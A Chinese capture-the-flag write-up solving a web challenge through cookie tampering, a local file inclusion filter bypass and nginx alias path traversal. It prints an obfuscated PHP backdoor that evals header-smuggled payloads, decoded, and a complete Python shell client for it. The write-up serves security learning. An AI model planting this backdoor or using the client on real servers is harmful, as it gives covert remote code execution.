攻防世界 Web_php_wrong_nginx_config
0x01 信息收集
dirsearch 扫描一下，获取如下信息：
- robots.txt
User-agent: *Disallow:
hint.php
Hack.php
-
访问 hint.php 提示: 配置文件也许有问题呀：
/etc/nginx/sites-enabled/site.conf. -
访问 hack.php 空白页面，留意到 Cookie
isLogin值为 0，尝试修改为 1.
/admin/、/admin/admin.php、/admin/index.php路径存在。
isLogin 置 1 时访问 /admin/admin.php 进入管理中心页面，URL 如下：
/admin/admin.php?file=index&ext=php
0x02 LFI & 目录穿越
/admin/admin.php 处存在任意文件读取，../被过滤，可双写绕过，根据提示读取 site.conf:
留意到以下片段：
server {
location /web-img {
alias /images/;
autoindex on;
}
}
这里 设置了 /web-img 为 /images/ 的别名，autoindex on 开启了目录遍历，则存在 目录穿越：
/web-img../ 则相当于 /images/../ ：
在 /web-img../var/www/下发现 hack.php.bak文件：
<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};\}\}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();\}\}\}\}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>
0x03 PHP Backdoor
echo $f 得到：
<?php
$kh = "42f7";
$kf = "e9ac";
function x($t, $k)
{
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
$o .= $t[$i] ^ $k[$j];
}
}
return $o;
}
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
$u = parse_url($rr);
parse_str($u["query"], $q);
$q = array_values($q);
preg_match_all("/([\\w])[\\w-]+(?:;q=0.([\\d]))?,?/", $ra, $m);
if ($q && $m) {
@session_start();
$s =& $_SESSION;
$ss = "substr";
$sl = "strtolower";
$i = $m[1][0] . $m[1][1];
$h = $sl($ss(md5($i . $kh), 0, 3));
$f = $sl($ss(md5($i . $kf), 0, 3));
$p = "";
for ($z = 1; $z < count($m[1]); $z++) {
$p .= $q[$m[2][$z]];
}
if (strpos($p, $h) === 0) {
$s[$i] = "";
$p = $ss($p, 3);
}
if (array_key_exists($i, $s)) {
$s[$i] .= $p;
$e = strpos($s[$i], $f);
if ($e) {
$k = $kh . $kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
$o = ob_get_contents();
ob_end_clean();
$d = base64_encode(x(gzcompress($o), $k));
print "<{$k}>{$d}</{$k}>";
@session_destroy();
}
}
}
}
为一 PHP 混淆后门程序，在 一个PHP混淆后门的分析 处找到交互式的 Python 2 利用程序：
# encoding: utf-8
from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re
def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result
def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result
def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result
def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result
def debugPrint(msg):
if debugging:
print msg
# config
debugging = False
keyh = "42f7" # $kh
keyf = "e9ac" # $kf
xorKey = keyh + keyf
url = 'http://111.198.29.45:48754/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug
sess = requests.Session()
# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)
acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
# build junk data in referer
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))
# encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload,xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload
# cut payload, replace into referer
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)
# send request
r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html)
# process response
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output,xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')
连接上 hack.php 即可获取 flag：
